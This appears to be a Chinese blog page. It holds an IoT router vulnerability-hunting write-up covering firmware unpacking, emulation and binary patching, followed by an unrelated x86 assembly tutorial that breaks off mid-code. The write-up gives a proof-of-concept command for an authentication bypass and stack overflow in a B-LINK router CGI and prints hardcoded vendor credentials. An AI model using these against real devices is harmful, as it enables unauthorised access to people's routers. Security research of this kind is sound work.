【技术分享】IoT 安全 白盒视角下的漏洞挖掘
留言记录一次 "低门槛" 路由器漏洞挖掘，流程简单清晰，就像在漏洞靶场里通关一样。本来不太想写，毕竟难度很低、含金量一般，水了几张证书，随手记录一下吧。浅谈 IoT 漏洞挖掘市面上家用路由器、智能摄像头、智能家居、工业小型设备基本都属于 IoT 物联网设备，这类设备普遍开发成本低、安全意识薄弱，代码写得比较随意，防护机制简陋，是漏洞高发重灾区。不同于互联网网站漏洞，IoT 挖洞大多围绕固件分析、二进制逆向、接口测试、设备仿真展开，门槛有高有低。入门玩法不用精通高深逆向，靠着固件解包、抓接口测试、简单 Fuzz 就能挖出大量未授权、命令执行、硬编码密码这类实用漏洞，上手快、出洞效率高，很适合新手练手攒成果。而且绝大多数老旧 IoT 设备几乎没有任何内存保护、权限校验形同虚设，很容易挖到栈溢出、权限绕过这类经典漏洞。日常挖掘既能熟悉嵌入式设备运行逻辑，也能轻松提交漏洞平台拿证书，当作技术积累再合适不过。寻找目标挖漏洞不难，难在找目标、搞到源码，前期核心都是信息收集。在开始分析之前，必须先确定目标，以下是推荐的搜集方式：1.在购物平台找网络设备，比如：路由器、摄像头，然后看品牌是哪个公司的。2.在 Github 上找资源搜 Iot 相关的资料或者项目，这是我比较推荐的一个项目 IoTFirmwareAnalysisGuide，记录了一些厂商链接跟相关技术文档。{abtn icon="fa-github" color="#000" href="https://github.com/SecureNexusLab/IoTFirmwareAnalysisGuide" radius="" content="IoTFirmwareAnalysisGuide"/} 3.看 CVE、CNVD、NCC 等漏洞库，搜 路由器、IoT、固件 关键词，找已公开漏洞的型号或公司。固件提取找到目标后，一般官网上都有路由器升级固件，如果没有就找台设备 升级固件 然后抓包下载。当然还有其他办法，可以看推荐的那个 IoTFirmwareAnalysisGuide 项目里有写。基本流程：下载固件 → binwalk 解包 → 逆向分析 → 定位漏洞 → 本地验证 → 互联网实测 → 提交报告 → 漏洞闭环。部分固件会加密，无法直接解包，可通过旧版固件逆向解密算法。或从设备中 dump 密钥与明文固件，也能在 GitHub 找解密脚本。binwalk -Me 固件文件 --run-as=root再提供个在线固件解包网站。{abtn icon="fa-bandcamp" color="#000" href="https://zhiwanyuzhou.com/multiple_analyse/firmware/" radius="" content="在线固件解包"/}固件加密怎么判断一个固件是否加密呢？binwalk -E 固件文件 --run-as=root这里用 腾达AX 系列路由器举例，binwalk -E 跑一下固件，熵值全程快接近 1.0，那这固件就是加密或者强压缩，直接解包肯定解不开。固件实在解不了密，不一定非要做白盒审计，黑盒测也完全够用。直接用万能的 Fuzz 对着接口一顿乱塞数据，也能挖出漏洞。互联网资产一般解包后，我做的第一件事，是先确定指纹，很简单解包里会有前端代码，我一般就搜 .html、.icon、.png 直接上传 Fofa 找 icon 图标的 hash，或者 body、title 关键字。有的设备在互联网压根就没资产，就纯内网使用，如果说想挖 CNVD/CNNVD/NCC 拿证书的话。找不到资产那就以漏洞情报的方式提交，不用找资产，只要本地复现 + 完整技术证明 审核通过就发证书。固件仿真我比较推荐使用 qemu、emux 这类工具。{abtn icon="fa-github" color="#000" href="https://github.com/therealsaumil/emux" radius="" content="EMUX"/} 目前能完整仿真起来的设备并不算多，完整固件仿真难度普遍较高，或者买个路由器挖（滑稽）很多情况下还需要修改程序逻辑、打补丁才能正常运行。最推荐方式：qemu 单个程序测试（这也是常见的IoT漏洞挖掘方式）EMUX 完整运行先把 EMUX 项目下载到本地，比较推荐用 Kali Linux 安装前需要确认 docker 是否能正常运行。git clone --depth 1 --single-branch https://github.com/therealsaumil/emux.git如果下载慢，可以自己挂代理，到 Github 上下载项目源码，然后解压执行以下命令。cd emux ./build-emux-volume ./build-emux-docker安装完成后就能使用了，EMUX 目录结构：C:. ├─docs # 文档、说明与截图存放目录 │ └─img # 文章/报告所用图片 ├─files # emux 运行相关文件总目录 │ ├─emux # emux 固件仿真环境核心目录 │ │ ├─firmware # 待仿真固件存放目录，按设备型号分类 │ │ │ ├─AC15 # 路由器 AC15 固件相关 │ │ │ │ ├─flashmem │ │ │ │ ├─kernel │ │ │ │ └─preload │ │ │ ├─ARCHERC9 │ │ │ │ ├─kernel │ │ │ │ └─preload │ │ │ ├─DCS935L # 摄像头 DCS935L 固件 │ │ │ │ └─kernel │ │ │ ├─DIR615C # DIR615C 路由器固件 │ │ │ │ └─kernel │ │ │ ├─DV-ARM # ARM 架构调试固件 │ │ │ │ └─kernel │ │ │ ├─DV-MIPSEB # MIPS 大端调试固件 │ │ │ │ └─kernel │ │ │ ├─DV-MIPSEL # MIPS 小端调试固件 │ │ │ │ └─kernel │ │ │ ├─PH0WNCTF # CTF IoT 题目固件 │ │ │ │ └─kernel │ │ │ └─TRI227WF # 路由器 TRI227WF 固件 │ │ │ └─kernel │ │ ├─hostfs # 与仿真系统共享的文件系统 │ │ ├─run # 仿真启动脚本、运行日志 │ │ └─template # 通用仿真模板（内核、预加载配置） │ │ ├─kernel │ │ └─preload │ ├─etc # 系统及工具配置 │ │ ├─local.d │ │ └─tinyproxy # 代理配置 │ └─home │ └─r0 # 调试用户环境 │ ├─config │ │ └─pip │ ├─dircolors │ ├─gef # GDB-GEF 调试环境配置 │ └─ssh └─workspace # 个人工作目录，用于漏洞分析、脚本编写EMUX 默认自带了固件在 firmware 文件夹里，我们需要注意的就是这个，下载的固件解包后都要放到这里面。可以参考它自带的固件模板，然后配置下 firmware 文件夹里的 devices 就行。这里我以 BL‑CPE450H 固件为例（已通过binwalk解包）。在固件目录下创建 config、nvram.ini 及 kernel 文件夹，内容如下：# config 配置 # Tinysploit MIPSEL 仿真配置 id=firmware/BL-CPE450H # 固件型号与路径 #nvram=nvram.ini # NVRAM配置（未启用） rootfs=cpio-root # 指定根文件系统 randomize_va_space=0 # 关闭ASLR，便于漏洞调试 legacy_va_layout=1 # 兼容旧设备内存布局 mount_dev_tree=1 # 挂载/dev设备目录 mount_proc=1 # 挂载/proc进程目录 mount_sys=1 # 挂载/sys系统目录 initcommands="/etc_ro/rcS;/bin/sh" # 启动脚本+交互shell配置实在不懂，可以问 AI 比如 initcommands 的配置，每个固件都不同，有的不用 /etc_ro/rcS;。# nvram.ini 配置（固件仿真所需硬件参数，扣代码填数据） WebInit=1 # Web管理界面初始化开关 OperationMode=1 # 设备工作模式 Login=admin # 后台登录账号 Password=admin # 后台登录密码 lan_ipaddr=192.168.1.1 # 内网管理地址 lan_netmask=255.255.255.0 # 子网掩码 SSID=B-LINK # WiFi名称 blinkssid=B-LINK # 设备默认WiFi名称 AuthMode=WPAPSK # WiFi加密方式 HideSSID=0;0; # 是否隐藏WiFi（0=不隐藏）# devices 配置 firmware/BL-CPE450H,qemu-system-mipsel,malta,,,128M,vmlinux-2.6.32.5-malta-mipsel,MALTA2,BL-CPE450H MIPSLE Router这些配置跟 devices 文件内容要对应的，比如用到小端序 qemu-system-mipsel。内核用 vmlinux-2.6.32.5-malta-mipsel 那么 kernel 文件夹必须要有这个文件。不太懂可以参考官方自带的模板。./build-emux-docker # 构建镜像，让所有配置生效配置写完必须跑一遍这条命令，改了配置也要重新执行，不然不生效。./run-emux-docker # 启动固件仿真环境最后执行这条命令，进行启动。# [EMUX-DOCKER 🐳] /home/r0# launcher launcher # 启动仿真到 EMUX 交互界面再输入以上命令。发现已经添加成功了，鼠标点击选择下 BL-CPE450H 然后 OK。输入 root 账号，进行回车。有三种模式:0：默认宿主机 shell，不启动仿真，改配置用1：完整启动路由器，正常用/测漏洞用2：直连路由器控制台，调试/排错用我选第二个，直接启动完整路由器。不出意外的情况下，还是出意外了，第一个问题：goahead 缺 nvram_daemon。既然仿真环境没有这个守护进程，不折腾了，直接反编译 goahead 二进制打补丁，跳过 nvram 检查。哪里卡壳就 patch 哪里，也可借助 AI 找出需跳过的判断逻辑。// goahead 代码 int __fastcall ftext(int argc, const char *argv, const char *envp) { int v3; int v4; int v5; int v6; int v7; int v8; const char *v9; _BYTE *v10; _BYTE *v11; int v12; unsigned int v13; int v14; int v15; int v16; _BYTE v18[4]; int v19; char v20[200]; int v21; bopen(0, 61440, 1); signal(13, 1); v3 = fopen("/var/run/goahead.pid", "w+"); if ( v3 ) // NOP 0x004052F8 { v4 = getpid(); fprintf(v3, "%d", v4); fclose(v3); while ( !GetPid("nvram_daemon") ) // NOP 0x00405380 sleep(5); memset(v20, 0, sizeof(v20)); signal(24, sub_4492B8); signal(17, 1); signal(26, hotPluglerHandler); v5 = open("/dev/gpio", 0); v6 = v5; if ( v5 < 0 ) // NOP 0x00405404 { perror("/dev/gpio"); } else if ( ioctl(v5, 17, 1) >= 0 ) // NOP 0x00405424 { } else if ( ioctl(v6, 8, v7) >= 0 ) // NOP 0x00405440 { } else if ( ioctl(v6, 10, v18) >= 0 ) { close(v6); signal(16, sub_449240); } else { perror("ioctl"); close(v6); } signal(31, WPSSingleTriggerHandler); if ( sub_4493D8() >= 0 ) // NOP 0x004054C0 { v8 = nvram_bufget(0, "OperationMode"); if ( !atoi(v8) ) // NOP 0x00405500 { memset(v20, 0, sizeof(v20)); sprintf(v20, "echo \"1;0.0.0.0;00:00:00:00:00:00\" > /proc/%s/DHCP_Dns", "mt7628"); doSystem(v20); } if ( initInternet() >= 0 ) // NOP 0x0040551C { v9 = (const char *)nvram_bufget(0, "lan_ipaddr"); socketOpen(); v10 = (_BYTE *)nvram_bufget(0, "Login"); v11 = (_BYTE *)nvram_bufget(0, "Password"); umOpen(); umAddGroup("adm", 7, 3, 0, 0); if ( v10 && *v10 && v11 && *v11 ) { umAddUser(v10, v11, "adm", 0, 0); umAddAccessLimit("/", 3, 0, "adm"); } else { error("goahead.c", 544, 2, "gohead.c: Warning: empty administrator account or password"); } if ( v9 ) // NOP 0x00405614 { v12 = inet_addr(v9); if ( v12 != -1 ) // NOP 0x00405634 { strcpy(v20, "/etc_ro/web"); v21 = v12; websSetDefaultDir(v20); v21 = inet_ntoa(v21); v13 = strlen(v21) + 1; v14 = 128; if ( v13 < 0x80 ) v14 = v13; ascToUni(v18, v21, v14); websSetIpaddr(v18); websSetHost(v18); websSetDefaultPage("login.asp"); websSetPassword(""); websOpenServer(80, 5); websUrlHandlerDefine("", 0, 0, websSecurityHandler, 1); websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0); websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler, 0); websUrlHandlerDefine("", 0, 0, websDefaultPage, 2); formDefineCGIjson(); websUrlHandlerDefine("/", 0, 0, sub_449360, 0); if ( !*(_BYTE *)nvram_bufget(0, "Password") ) { doSystem("echo 'admin:x:0:admin' > /etc/group"); doSystem("echo 'admin:TcigdJt3/FTaQ:0:0:Adminstrator:/:/bin/sh' > /etc/passwd"); doSystem("echo 'admin::0:0:Adminstrator:/:/bin/sh' > /etc/passwd-"); } v15 = nvram_bufget(0, "Login"); strcpy(&g_User, v15); v16 = nvram_bufget(0, "Password"); strcpy(&g_Pass, v16); strcpy(&g_baseUser, "adminblink"); strcpy(&g_basePass, "blinkadmin"); while (1) { if ( socketReady(-1) || socketSelect(-1, 1000) ) socketProcess(-1); websCgiCleanup(); emfSchedProcess(); } } error("goahead.c", 572, 2, "initWebs: failed to convert %s to binary ip data", v9); } else { error("goahead.c", 567, 2, "initWebs: cannot find lan_ip in NVRAM"); } } } } else { error("goahead.c", 240, 2, "goahead.c: cannot open pid file"); } return -1; }比较懒 IDA Pro 也没装插件，一个一个打太麻烦了，这里我用 radare2 -w 直接刷过去。# r2 -w goahead aaa oo+ s 0x00405380 wx 00000000 s 0x00405404 wx 00000000 s 0x00405424 wx 00000000 s 0x00405440 wx 00000000 s 0x00405614 wx 00000000 s 0x00405634 wx 00000000 s 0x004052F8 wx 00000000 s 0x004054C0 wx 00000000 s 0x00405500 wx 00000000 s 0x0040551C wx 00000000 qs 0x00405380 wx 00000000 → while (!GetPid("nvram_daemon")) sleep(5); // NOP s 0x00405404 wx 00000000 → if ( v5 < 0 ) // NOP s 0x00405424 wx 00000000 → if ( ioctl(v5, 17, 1) >= 0 ) // NOP s 0x00405440 wx 00000000 → if ( ioctl(v6, 8, v7) >= 0 ) // NOP s 0x00405614 wx 00000000 → if ( v9 ) // NOP s 0x00405634 wx 00000000 → if ( v12 != -1 ) // NOP s 0x004052F8 wx 00000000 → if ( v3 ) // NOP s 0x004054C0 wx 00000000 → if ( sub_4493D8() >= 0 ) // NOP s 0x00405500 wx 00000000 → if ( !atoi(v8) ) // NOP s 0x0040551C wx 00000000 → if ( initInternet() >= 0 ) // NOP q以上是对应 nop 地址与代码位置。chmod -R 777 BL-CPE450H 修改完要运行一定要给权限，不然仿真会没权限运行失败。打完补丁后，重复上面的 EMUX 操作重新启动，就成功能访问了。序号外部端口（Linux系统）内部端口（模拟的系统）120080192.168.100.2:80220443192.168.100.2:443328080192.168.100.2:8080424433192.168.100.2:443359999192.168.100.2:9999这是端口映射表，比如仿真的路由器访问 web 端口是 8080 ，在实体机访问 28080。QEMU 单个运行像 cgi-bin、bin 目录里放的都是可执行程序，只是芯片架构（MIPS、ARM 等）跟电脑不同，运行不了，要用 QEMU 来模拟。可以通过 file 命令 查看程序的架构、字节序，区分是大端序还是小端序，方便后续仿真。这里显示 LSB 表示小端序，对应使用 qemu-mipsel，MSB 表示大端序，对应使用 qemu-mips。架构标识端序QEMU 对应命令MIPSEL (LSB)小端序qemu-mipselMIPS (MSB)大端序qemu-mipsARM (LSB)小端序qemu-armARM64 (LSB)小端序qemu-aarch64这里以 busybox 举例也是成功运行了，那么就可以通过这种方式单个程序测试漏洞了。漏洞挖掘未授权漏洞IoT 未授权是最好的突破口，因为有的设备根本不需要认证，当然也会遇到授权后漏洞利用的情况。那么怎么测未授权呢？非常简单，说说我平时常用的操作：1.先登录路由器，用 Yakit 抓包，功能都点一遍，收集接口，进行模糊测试。2.解包固件，在代码里找接口，然后用 Yakit 批量请求接口，不加任何头部认证。3.查找该设备有没有公开漏洞，从已有的报告或文章里了解漏洞、构造请求接口。4.硬核一点就纯看代码配合AI，不用仿真直接看出接口跟漏洞，然后线上实测。cgi-bin 本质就是文件系统，最容易出现未授权访问。栈溢出漏洞这是我挖到的最简单的栈溢出基于 cgi-bin 未授权，程序代码也没做任何防护。# 本地 QEMU 模拟运行，绕过认证 + 栈溢出 echo '{"type":"getmanpwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB","loginauth":""}' | CONTENT_LENGTH=500 AUTHORIZATION="" qemu-mipsel -cpu 34Kf -L . ./www/cgi-bin/lighttpd.cgi通过 qemu-mipsel 直接本地运行路由器固件中的 lighttpd.cgi，携带 loginauth 字段即可绕过鉴权，并通过超长字符串触发栈溢出漏洞。// lighttpd.cgi 代码 int __fastcall ftext(int argc, const char **argv, const char **envp) { int v3; // $s2 char *v4; // $a0 int v5; // $s1 int v6; // $s0 int v7; // $v0 int v8; // $a0 _BYTE v10[16384]; // [sp+18h] [-4000h] BYREF memset(v10, 0, sizeof(v10)); v3 = getenv("AUTHORIZATION"); // 获取请求头中的 Authorization 认证信息 v4 = (char *)getenv("CONTENT_LENGTH"); if ( !v4 ) v4 = ""; v5 = strtol(v4, 0, 10) + 1; if ( v5 >= 2 ) { v6 = malloc(v5); if ( v6 ) { if ( sub_400E98() ) { LABEL_12: free(v6); return 0; } memset(v6, 0, v5); fgets(v6, v5, stdin); // 读取 POST 提交的内容 v7 = strstr(v6, "loginauth"); // 检查提交的参数里有没有 loginauth // 如果 POST 数据 包含 loginauth 字段 if ( !v7 ) { // 没有 loginauth 才会校验账号密码 if ( !check_auth(v3) ) { // 认证失败返回 {"result":8} strcpy(v10, "{\"result\":8}"); sub_400BE0(); LABEL_11: puts(v10); goto LABEL_12; } v8 = v6; } // 只要 POST 包含 loginauth 字段，直接跳过密码校验 // 无需账号、无需密码、无需 token，直接进入核心功能 share_func(v8, v10); // 溢出点在 share_func 函数里 goto LABEL_11; } } return 0; }这里我通过 grep -r 快速定位 share_func 函数在哪个动态链接库里。 找到后 libblinkapi.so 用 IDA Pro 反编译，审计下就能发现 strcpy(v16, v11); 是有问题的。// libblinkapi.so // 参数 a1 = 传入的JSON字符串（包含type和loginauth） // 参数 a2 = 输出缓冲区，用于存放返回结果 int __fastcall share_func(int a1, _BYTE *a2) { int v4; // $v0 int v5; // $s2 _BYTE *v6; // $a0 const char *v7; // $a1 int ObjectItem; // $v0 int v10; // $s3 int v11; // $a1 int v12; // $s3 int v13; // $s6 char *v14; // $s4 _BYTE v15[16384]; // [sp+18h] [-4100h] BYREF char v16[256]; // [sp+4018h] [-100h] BYREF 局部变量，仅256字节栈空间 memset(v15, 0, sizeof(v15)); // 1. 解析我们传入的JSON数据：{"type":"getmanpwdAAA...","loginauth":""} v4 = cJSON_Parse(a1); v5 = v4; if ( !v4 ) { v6 = v15; v7 = "{\"result\":7}"; LABEL_5: strcpy(v6, v7); return -1; } // 2. 提取JSON中的 "type" 字段内容 // 也就是我们传入的：getmanpwd + 超长AAA...BBB...字符串 ObjectItem = cJSON_GetObjectItem(v4, "type"); if ( !ObjectItem ) { strcpy(v15, "{\"result\":7}"); cJSON_Delete(v5); v6 = a2; v7 = v15; goto LABEL_5; } // 拿到 type 字符串指针 v10 = *(_DWORD *)(ObjectItem + 16); // 清空 v16 缓冲区（大小只有 256 字节） memset(v16, 0, sizeof(v16)); v11 = v10; v12 = 0; // 危险函数：strcpy(目标，源) // 目标：v16 只有 256 字节栈空间 // 源：我们传入的超长 type 字符串（几百字节） // 直接无限制拷贝 → 覆盖栈返回地址 → 栈溢出 strcpy(v16, v11); v13 = strlen(v16); do { v14 = &blink_handle[68 * v12]; if ( v13 == strlen(v14) && !memcmp(v16, v14, v13) ) { (*((void (__fastcall **)(int, _BYTE *))v14 + 16))(a1, v15); goto LABEL_12; } ++v12; } while ( v12 != 124 ); sprintf(v15, "{\"type\":\"%s\",\"result\":6}", v16); LABEL_12: cJSON_Delete(v5); strcpy(a2, v15); return 0; }1.loginauth → 绕过认证2.type 后面跟超长字符串3.进入 share_func 后，执行 strcpy(v16, 超长字符串)4.v16 只有 256字节，直接 → 栈溢出那么就可以基于这个突破口 get shell 了，没写 exp 构造也很简单。硬编码漏洞这种最好挖了，基本像什么路由器登录密码，固件解包密码都是硬编码写在固件里。硬编码漏洞直接用 firmwalker、IDA、grep、strings 搜敏感关键字就行。固件解包之后，拿 strings、grep 一顿搜 password、admin、key、secret、token 这些关键词。用 firmwalker 扫更省事，会自动帮你找出写死的敏感信息。拒绝服务漏洞常见的几种路子：1.接口疯狂发包，看设备会不会直接卡死、重启、断服务。2.给接口传超大包、超长参数，撑爆内存或进程，直接打宕。3.对一些没校验的 CGI 接口，无脑 Fuzz 畸形数据，很容易触发崩溃。4.有些逻辑漏洞也能造成 DoS，比如死循环、无限创建进程，设备直接跑满卡死。5.未授权接口反复调用，把设备资源占满，服务直接不可用。后门漏洞常见的几种路子：1.有些厂商为了方便后期维护调试，会特意预留专用后门账号或接口。2.开发测试阶段加的临时入口、调试功能，上线前没及时删掉。3.代码审核不严格，隐藏的后门逻辑直接留在固件里没被发现。4.还有部分后门是隐蔽的硬编码口令、万能密码，同型号设备通用。5.解包固件或者黑盒测试接口，很容易找到这些隐藏入口直接拿权限。远程命令执行漏洞常见的几种路子：1.接口对传入的参数没做过滤，直接拼接到系统命令里执行，可控点直接拿权限。2.一些 CGI 脚本处理用户数据时不严谨，恶意参数直接被当成系统命令运行。3.上传点、恢复配置、固件升级等功能没校验内容，被植入恶意命令执行。4.代码里直接用 system、popen 这类函数，且外部可控，极易被利用。5.未授权访问的命令调用接口，构造 payload 就能远程执行任意命令。组合利用 这也是我最喜欢的环节，一步一步绕过限制、构造 payload。最终打出完整利用链，整个过程特别让人兴奋，就讲这么多了。结尾挖洞方法论（个人研究）序号思路口诀核心用法适用场景1先媒介后漏洞从入口、交互点入手遍历测试与Fuzz，高效批量测试日常刷洞、实战渗透、快速量产出洞2先漏洞后媒介预设漏洞类型，反向寻找可触发路径深挖0day、深度安全研究、挖掘高端漏洞3先资产后漏洞全面摸排域名、端口、服务等资产逐一测试常规打点、SRC批量挖洞，稳健积累漏洞4先漏洞后资产持有POC、1day、0day，全网匹配对应目标资产漏洞爆发批量收割、红队快速拿分5先权限后漏洞梳理各级账号权限，直击权限校验短板挖掘未授权、横向越权等高价值业务漏洞6先功能后逻辑走完完整业务流程，寻找流程逻辑缺陷挖掘权限绕过、数据篡改、业务流程漏洞7先流量后代码抓取分析请求流量与参数，纯黑盒排查隐患无源码环境，零基础高效黑盒挖洞8先输入后解析构造畸形特殊输入，冲击后端数据解析模块文件解析、XML、富文本类漏洞挖掘9先边界后溢出拿捏数据长度、字符、数值边界临界点字符串截断、权限绕过、栈堆溢出类漏洞10先默认后配置优先检测默认账号、路径、出厂配置运维疏漏漏洞，低成本快速挖到通用弱洞11先依赖后本体优先审计第三方组件、框架、中间件快速利用通用组件漏洞，降低挖洞难度12先同源后跨域先突破同域权限，再攻坚跨域相关防护前端安全、单点登录、子域权限突破13先历史后现网调取历史域名、备份文件、老旧源码发掘遗留废弃接口、陈年未修复漏洞14先会话后身份窃取会话凭证顶替合法身份，绕过登录校验免密登录、身份劫持、无声获取后台权限15先可控后利用围绕外部可控点位，定向构造攻击载荷命令执行、SQL注入、任意文件读写通用打法实操挖洞从来不是死啃理论，多调试、多踩坑、多实战才能吃透各类设备漏洞逻辑。IoT 领域漏洞存量巨大，只要沉下心深耕，不管是练手积累证书，还是深挖原生零日漏洞，都能收获满满，技术之路贵在坚持与实操。最后送给看文章的小伙伴们：实践出真理。
留言复习x86汇编基础，首先为什么要学习汇编语言呢？在二进制程序逆向中是必不可少的，在二进制程序在没有源代码的情况下，只能进行反汇编逆向分析程序的执行流程。所谓 "学而不思则罔，思而不学则殆"，只有真正的理解了是如何运作的，才能更好的进行后面的分析。本教程使用 intel 语法来进行编写，编译器使用的是开源的 NASM，就你叫x86汇编呀，直接干就完了！简介本文章会简单的讲解下Windows下的x86汇编，内容比较简短都是示例，x86汇编语言编程也很混乱。因为有很多不同的汇编器：MASM、NASM、gas、as86、TASM、a86、Terse 等，导致语法都不相同。出于对 汇编语言发展 的兴趣，本教程不是为了教你汇编，让你大概学习下x86汇编基础语法方便为后期逆向做准备。当然感兴趣的可以自己研究，这里推荐几个好的教程网站: Linux 汇编语言教程Putting the "You" in CPU汇编器与链接器不管使用哪种汇编器、目标文件格式、链接器或操作系统，编程过程始终是相同的。Nasm 编译器安装Nasm win64 下载 - | - MinGW 下载 首先需要下载编译环境，Nasm 与 MinGW 下载好后解压出来，配置好环境变量方便终端进行调用。这里我推荐几个链接器：ld、alink、golink、gcc 各有秋色，我会演示他们的用法，前三者打包都是程序最小的状态，而 gcc 会使程序大小变大，因为它加了一些东西。NASM 汇编语法输出 Hello, World! - Windowsextern _printf ; 声明外部的 printf 函数 section .data msg db 'Hello, World!', 0 ; 定义字符串常量 section .text global _main ; 设置入口函数为 _main _main: push msg ; 将字符串地址推入栈中，作为参数传递给 printf call _printf ; 调用 printf 函数 add esp, 4 ; 清理栈上的参数 ret ; 函数返回随便创建一个文件，名称.asm 以.asm 后缀结尾，当然后缀什么的都不重要，汇编代码是对的一切都是 ok 的，通过以下代码在 Windows 进行生成再到链接最终生成可执行程序。/* ------ 参数说明 -f win32 指定 32位 生成目标文件 test.o -lmsvcrt 指定链接器需要 C运行库 要用到 printf ------ 编译命令 nasm -f win32 demo.asm -o test.o ld test.o -o test.exe -lmsvcrt */生成完毕后，可以发现程序大小只有 4kb 左右，非常小那是因为用汇编进行编写的，没有其他一些没用的函数打包进去。通过 IDA 打开生成的程序，发现只有 _main 和 _printf 函数，而且代码也是我们写的那一部分。通过 x64dbg 发现，运行直接到 OEP 时就能看到我们写的代码， 程序入口点是 401000 从这里开始到 40100D 结束（自己写的代码范围）。反汇编代码中 push 0x402000 是把内存地址存储的字符串压入到堆栈中，然后通过 call Printf 调用进行输出 Hello, World!。输出 Hello, World! - Linuxsection .data ; 定义一个名为 hello 的字符串，用 db 伪指令来定义 ; db 是 define bytes，用来指定一组字节 hello db 'Hello, World!', 0 ; 字符串用单引号或双引号括起来，末尾要添加一个零终止符 \0 section .text global _start ; 设置入口函数为 _start _start: ; 往标准输出 (stdout) 写入字符串 ; 用系统调用 write mov eax, 4 ; 系统调用号 4 (write) 存储到寄存器 eax mov ebx, 1 ; 描述符 1 (stdout) 存储到寄存器 ebx mov ecx, hello ; 字符串的地址存储到寄存器 ecx mov edx, 13 ; 把字符串的长度（以字节为单位）存储到寄存器 edx int 0x80 ; 系统调用 sys_write ; 退出程序 ; 用系统调用 exit mov eax, 1 ; 系统调用号 1 (exit) 存储到寄存器 eax xor ebx, ebx ; 寄存器 ebx 设置为 0，表示返回值为 0 int 0x80 ; 系统调用 sys_exit/* ------ 参数说明 -f elf32 指定32位生成目标文件main.o -m elf_i386 指定生成32位可执行elf程序 ------ 编译命令 nasm -f elf32 main.asm -o main.o ld -m elf_i386 main.o -o main */通过IDA打开，可以看到只有一个 _start 主入口函数，也是没有其他任何函数，通过 sys_write 输出再到 sys_exit 退出结束。前面的操作让我们实现了编译环境搭建，和第一个汇编程序的编写到运行，现在让我们正式开始吧。（本教程在 Windows 操作系统进行讲解）视频教程{dplayer src="https://www.52tt.pro/usr/uploads/2023/09/10.1.mp4"/}PE文件节section .text // 代码段：用来存储程序的可执行指令（代码）。 section .data // 数据段：用来存储已经初始化的静态变量和全局变量。 section .rdata // 只读数据段：用来存储只读数据，字符串常量等。 section .bss // 未初始化数据段：用来存储未初始化的静态变量和全局变量。 section .data // 可读写数据段：用来存储可以被程序读取或写入的数据。 section .data? // 未定义的数据段 /* 可执行数据段： */ section .text // 代码段：用来存储程序的可执行指令（代码）。 section .idata // 导入数据段：用来存储从其他动态链接库（DLL）中导入的符号等信息。 section .edata // 导出数据段：用来存储导出给其他模块的符号等信息。 section .rsrc // 资源数据段：用来存储可执行文件中的资源数据，如图标、位图、菜单和对话框等。代码注释; 单行注释（分号）字符串输出 - utf-8extern _printf, _system section .data cmd db 'chcp 65001', 0 ; 设置终端输出编码为 utf-8 msg db '你好，世界！', 10, 0 msg2 db 'Hello, World!', 0 section .text global _main ; 设置入口函数为 _main _main: push cmd call _system push msg ; 将字符串地址推入栈中，作为参数传递给 printf call _printf ; 调用 printf 函数 push msg2 call _printf add esp, 12 ; 清理栈上的参数 ret ; 函数返回局部变量 - local varsection .text global _main extern _printf _main: push ebp ; 保存旧的基址寄存器值 mov ebp, esp ; 设置新的基址寄存器值 sub esp, 4 ; 分配 4 字节大小的空间作为局部变量 mov dword [ebp-4], 5 ; 将值 5 存储到局部变量中 mov eax, dword [ebp-4] ; 将局部变量值加载到寄存器 eax 中 push eax ; 将局部变量值推入栈中，作为参数传递给 printf push msg ; 将格式化字符串的地址也推入栈中 call _printf ; 调用 printf 函数 add esp, 12 ; 清理栈上的参数 pop ebp ; 恢复旧的基址寄存器值 ret ; 函数返回 section .data msg db 'local variable is %d', 10, 0 ; 格式化字符串.数据类型 - Data type整型（Integer） 浮点型（Float） 布尔型（Boolean） 字符型（Character）section .data format db "int: %d", 0 ; 格式化输出模板，%d 整数占位符 num dd 100 ; 存储整数值100 msg db "string: Hello", 0 ; 要输出的字符串 newline db 10, 0 ; 换行符和结尾符 section .text global _main extern _printf _main: push ebp ; 保存当前的ebp值 mov ebp, esp ; 把当前的堆栈指针esp的值赋给ebp，建立函数的堆栈帧 push dword [num] ; 压入num变量的值，准备进行格式化输出 push format ; 压入format变量的地址，作为格式化输出的模板 call _printf ; 调用外部函数_printf进行格式化输出 add esp, 8 ; 清除堆栈上的两个参数，恢复堆栈指针 push dword newline ; 压入newline变量的值，输出换行符 call _printf ; 调用_printf函数输出换行符 add esp, 4 ; 清除堆栈上的一个参数 push msg ; 压入msg变量的地址，准备输出字符串 call _printf ; 调用_printf函数输出字符串 Hello add esp, 4 ; 清除堆栈上的一个参数 mov esp, ebp ; 恢复函数调用前的堆栈状态，将堆栈指针esp的值设为ebp的值 pop ebp ; 恢复之前保存在堆栈中的ebp寄存器的值 ret ; 函数返回条件语句 - if ... elsesection .data format db "%d", 0 num dd 1 format2 db "%d", 0 num2 dd 0 section .text global _main extern _printf _main: push ebp mov ebp, esp mov eax, 5 mov ebx, 5 cmp eax, ebx ; 比较是否相等 je print_num push dword [num2] push format call _printf add esp, 8 jmp end print_num: ; 成立则跳转到这 mov eax, dword [num] push eax push format2 call _printf add esp, 8 end: mov esp, ebp pop ebp ret ; eax, ebx 寄存器值 都等于 5 所以成立输出 1条件循环 - forsection .data count equ 10 msg db "Loop iteration.", 10, 0 section .text global _main extern _printf _main: mov ebx, count ; 设置计数器为循环次数 loop_start: cmp ebx, 0 ; 检查计数器是否为零 je loop_end ; 如果为零，跳转到循环结束处 push msg call _printf ; 输出消息 add esp, 4 ; 清除栈上的参数 dec ebx ; 计数器减一 jmp loop_start ; 跳转回循环起始点 loop_end: mov eax, 0 ret条件循环 - whilesection .data msg db "Loop iteration.", 10, 0 section .text global _main extern _printf _main: loop_start: push msg call _printf ; 输出消息 add esp, 4 ; 清除栈上的参数 jmp 